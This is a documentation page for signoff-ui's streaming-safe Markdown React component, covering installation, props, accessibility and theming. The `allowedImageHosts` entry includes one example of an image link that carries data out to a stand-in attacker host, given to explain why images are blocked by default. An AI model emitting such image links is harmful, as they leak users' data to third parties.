# Markdown

> Streaming-safe GFM: unterminated syntax closed while streaming, no raw HTML, images only from hosts you allow.

Source: https://signoff-ui.vercel.app/docs/components/markdown

## Installation

From npm:

```bash
npm i signoff-ui ai
```

```tsx
import { Markdown } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```

Or as source, with the shadcn CLI:

```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/markdown.json
```

```tsx
import { Markdown } from '@/components/signoff-ui/markdown';
```

## Usage

```tsx
<Markdown streaming={part.state === 'streaming'} citations={sources.length}>
  {part.text}
</Markdown>
```

## How it works

Streaming-safe GitHub-flavored markdown: unterminated syntax is closed while the text streams, raw HTML is never rendered, and `javascript:` and `data:` URLs are stripped. `[n]` markers link to the message's sources, and a caret follows the text while it streams. It takes the same `allowedImageHosts` as `AgentMessage`.

The whole text is parsed again on every delta, which gets slow for very long streamed answers; [Performance and limits](https://signoff-ui.vercel.app/docs/limits) has the numbers.

## API reference

### Markdown

Streaming-safe markdown (GFM). While `streaming`, unterminated emphasis, code
and links are closed before parsing so partial output never flashes raw syntax.
Raw HTML is not rendered, links and images with unsafe protocols (`javascript:`,
`data:`) are stripped, and images load only from `allowedImageHosts`.

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `children` (required) | `string` |  |  |
| `streaming` | `boolean` | `false` | Repairs unterminated syntax and shows a caret while text is still arriving. |
| `citations` | `number` | `0` | Number of available sources; `[n]` markers up to this count become citation links. |
| `citationPrefix` | `string` | `'source'` | Must match the `idPrefix` of the `Sources` the citations point to. |
| `allowedImageHosts` | `readonly string[]` |  | Where images may load from. Default: nowhere. The browser fetches an image as soon as it renders, so a URL in model output can leak data (`![](https://attacker.example/p.png?d=…)`); a blocked image renders as a link with its alt text, and nothing is requested. - A host name of http(s) URLs, matched exactly: `'images.example.com'` (any port), or   `'localhost:3000'` (that port only). - `'self'`: relative URLs (`/logo.png`, `./chart.png`), which load from your own origin.   `//host/x` is not relative. An absolute URL to your own site needs its host listed. - `'*'`: every image. Compared by value, so an inline array does not re-render the markdown. |
| `components` | `Components` |  | Element overrides, merged over the defaults. Keep the object stable: a new one re-renders the markdown. |
| `className` | `string` |  |  |
| `labels` | `SignoffLabelsInput` |  | Words to use instead of the English defaults: see `SignoffLabelsProvider`. Keep the object stable. |

## Accessibility

- Raw HTML in model output is never rendered, and links and images with `javascript:` or `data:` URLs are stripped.
- Images load only from `allowedImageHosts`. Others render as a link with their alt text, read as "Image:", and nothing is requested.
- `[n]` markers up to `citations` become links named "Source n".
- The streaming caret is hidden from screen readers.

## Theming

Slots (`data-slot`): `signoff-markdown`.


Tokens it uses: `--signoff-accent`, `--signoff-accent-fg`, `--signoff-bg`, `--signoff-border`, `--signoff-border-strong`, `--signoff-fg`, `--signoff-fg-muted`, `--signoff-fg-subtle`, `--signoff-font-mono`, `--signoff-font-sans`, `--signoff-ring`, `--signoff-surface-2`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
